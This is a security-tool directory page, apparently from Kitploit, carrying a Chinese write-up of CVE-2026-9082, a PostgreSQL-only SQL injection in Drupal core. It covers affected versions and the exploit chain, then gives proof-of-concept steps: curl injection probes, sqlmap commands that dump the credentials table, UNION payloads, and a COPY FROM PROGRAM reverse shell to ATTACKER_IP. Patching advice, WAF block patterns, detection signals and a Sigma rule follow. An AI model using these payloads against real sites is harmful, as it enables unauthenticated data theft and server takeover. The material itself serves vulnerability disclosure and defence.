Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2026-9082 — cve poc | Kitploit
工具/GitHubGitHub/lysophavin18/cve-2026-9082
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育数据库安全
GitHublysophavin18/cve-2026-9082

cve-2026-9082

cve poc

查看仓库
154个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-9082

类型:SQL 注入 (CWE-89) 受影响产品:Drupal 核心(数据库抽象 API) Drupal 公告:SA-CORE-2026-004 发布时间:2026 年 5 月 20 日 严重性:高度严重(Drupal 20/25 | NVD CVSS 6.5)


这是什么?

CVE-2026-9082 是 Drupal 核心数据库抽象 API 中的一个 SQL 注入 漏洞。Drupal 的数据库层封装了 PDO 并在查询到达数据库之前对所有查询进行净化处理。此漏洞针对 PostgreSQL 后端 绕过了这一净化机制——精心构造的 HTTP 请求能够绕过规范化逻辑,将攻击者控制的 SQL 片段直接注入数据库查询。

MySQL 和 MariaDB 不受此注入向量的影响,但补丁版本还捆绑了对所有后端均适用的关键 Symfony/Twig 修复。


受影响版本

分支受影响版本已修复版本
Drupal 10.4.x / 8.9.x8.9.0–10.4.910.4.10
Drupal 10.5.x10.5.0–10.5.910.5.10
Drupal 10.6.x10.6.0–10.6.810.6.9
Drupal 11.0.x–11.1.x11.0.0–11.1.911.1.10
Drupal 11.2.x11.2.0–11.2.1111.2.12
Drupal 11.3.x11.3.0–11.3.911.3.10

前提条件:目标必须使用 PostgreSQL 作为其数据库后端。


工作原理(技术细节)

Drupal 的数据库抽象层通过参数化查询/预处理语句对 值 进行净化,但依赖查询构建器提供可信的 结构性 SQL(字段名称、运算符、ORDER BY 目标)。此漏洞存在于 PostgreSQL 驱动程序在处理某些输入模式构建查询时的方式——PostgreSQL 的 SQL 方言与 MySQL 在几个关键方面存在差异:

  • 使用 || 进行字符串拼接
  • 使用 :: 进行类型转换
  • 美元符号引用
  • COPY ... FROM PROGRAM 命令
  • 不同的运算符处理方式

经过精心构造的请求会引入一些字符/序列,这些字符/序列能够通过 Drupal 的值级净化,但被 PostgreSQL 解析器解释为 结构性 SQL。攻击面 无需认证 即可触及,任何将用户控制的参数传递给数据库查询的端点(搜索、视图过滤器、表单提交、JSON:API 等)都可能成为目标。

利用链

攻击者(未认证)
  |
  |--> 带有精心构造参数的 HTTP 请求
  |    (例如搜索字段、过滤器、表单输入)
  |
  v
Drupal 数据库抽象 API
  |
  |--> 净化绕过(PostgreSQL 特定)
  |
  v
PostgreSQL 执行注入的 SQL
  |
  |--> 信息泄露(转储整个数据库)
  |--> 权限提升(注入管理员凭据)
  |--> 远程代码执行(PostgreSQL COPY TO PROGRAM、lo_export 等)

为何危险

  1. 无需认证——任何面向互联网且使用 PostgreSQL 的 Drupal 站点均暴露在风险中
  2. 远程代码执行潜力——如果数据库用户具有超级用户权限,可通过 COPY TO PROGRAM 'cmd' 实现
  3. 完整数据库访问——用户账户、密码哈希、会话令牌、个人身份信息
  4. 版本范围广泛——涵盖整个 Drupal 8/10/11 生命周期
  5. 复合风险——同一补丁同时修复了 Twig 服务器端模板注入;攻击者可组合使用 SQL 注入 → 创建管理员 → 服务器端模板注入以实现远程代码执行

Drupal 自身警告:"漏洞披露后几小时或几天内就可能出现利用代码"(与历史上 Drupal 数据库层 CVE 如 SA-CORE-2014-005 / Drupalgeddon 一致)。


概念验证(仅限授权实验室测试)

步骤 1:识别候选端点

# 通过数据库抽象层传递用户输入的端点
curl -s "https://target.drupal.site/search/node?keys=test"
curl -s "https://target.drupal.site/views/ajax"
curl -s "https://target.drupal.site/jsonapi/node/article"

步骤 2:检测 PostgreSQL 特定注入

# 基于时间的检测(pg_sleep 是 PostgreSQL 独有)
curl -s "https://target.drupal.site/search/node?keys=test%27%3Bselect+pg_sleep(5)--"

# 基于类型转换的探测(:: 是 PostgreSQL 语法)
curl -s "https://target.drupal.site/search/node?keys=1::integer"

# 基于布尔值的区分
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='1"
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='2"

步骤 3:自动化提取(sqlmap,仅限授权测试)

sqlmap -u "https://target.drupal.site/search/node?keys=test" \
  --dbms=PostgreSQL \
  --level=5 --risk=3 \
  --technique=BEUST \
  --tamper=space2comment,between \
  --dbs

# 确认注入后转储凭据
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
  --dbms=PostgreSQL \
  -D drupal -T users_field_data \
  -C name,mail,pass --dump

步骤 4:手工 UNION 提取(概念性)

-- 探测列数
test' ORDER BY 1--
test' ORDER BY 2--  -- 递增直到出错

-- 提取凭据(PostgreSQL 语法)
test' UNION SELECT null,username,password FROM users_field_data--

-- 检查数据库用户是否为超级用户
test' UNION SELECT null,current_user,null--
test' UNION SELECT null,usesuper::text,null FROM pg_user WHERE usename=current_user--

步骤 5:通过 COPY TO PROGRAM 实现远程代码执行(如果数据库用户为超级用户)

CREATE TABLE cmd_out(output TEXT);
COPY cmd_out FROM PROGRAM 'id; uname -a';
SELECT * FROM cmd_out;

-- 反弹 shell(替换 ATTACKER_IP/PORT)
COPY cmd_out FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';

缓解措施

立即行动:修补 Drupal

# Composer(推荐)
composer update drupal/core drupal/core-recommended

# 验证版本
php core/scripts/drupal --version

# 或通过 Drush
drush updb && drush cr

数据库加固

-- 确认应用程序数据库用户不是超级用户
SELECT usename, usesuper FROM pg_user WHERE usename = 'drupal_app_user';
-- 应返回 usesuper = false

WAF(临时缓解措施——不能替代修补)

阻止模式:pg_sleep, COPY.*PROGRAM, ::text, ::integer, UNION.*SELECT, %27--

网络

确保 PostgreSQL 仅绑定到 localhost 或私有接口;不得从互联网可达。


检测信号

来源信号
Web 日志查询字符串中出现 pg_sleep, ::, UNION SELECT, --, COPY PROGRAM
PostgreSQL 日志与 Web 请求时间戳相关的语法错误
Drupal watchdog来自搜索/视图/JSONAPI 端点的数据库异常
auditdpostgres 产生子进程(COPY TO PROGRAM)
Drupal 用户表新增时间戳较近的 administrator 角色行

Sigma 规则(检测)

title: Drupal CVE-2026-9082 SQL Injection Attempt
logsource:
  category: webserver
detection:
  selection:
    cs-uri-query|contains:
      - "pg_sleep"
      - "UNION+SELECT"
      - "::text"
      - "::integer"
      - "COPY+TO"
      - "%27--"
  filter:
    cs-uri-stem|contains:
      - "/search/"
      - "/views/ajax"
      - "/jsonapi/"
  condition: selection and filter
level: high
tags: [attack.t1190, cve.2026.9082]

总结

CVE-2026-9082 是 Drupal 核心中针对 PostgreSQL 后端的 零认证 SQL 注入。尽管 NVD CVSS 评分为 6.5(中等),但 Drupal 将其评为 20/25(高度严重),因为未认证访问加上 PostgreSQL 的 COPY TO PROGRAM 在配置不当的环境中可直接导致远程代码执行。受影响的版本范围广泛,且补丁同时修复了 Twig 服务器端模板注入,这使得该漏洞成为 关键且紧急的修补项,所有 Drupal 站点,尤其是面向互联网且使用 PostgreSQL 的部署,都应立即更新。

建议操作:立即更新到您所在分支的已修复版本。确认您的数据库应用程序用户不是 PostgreSQL 超级用户。

下载工具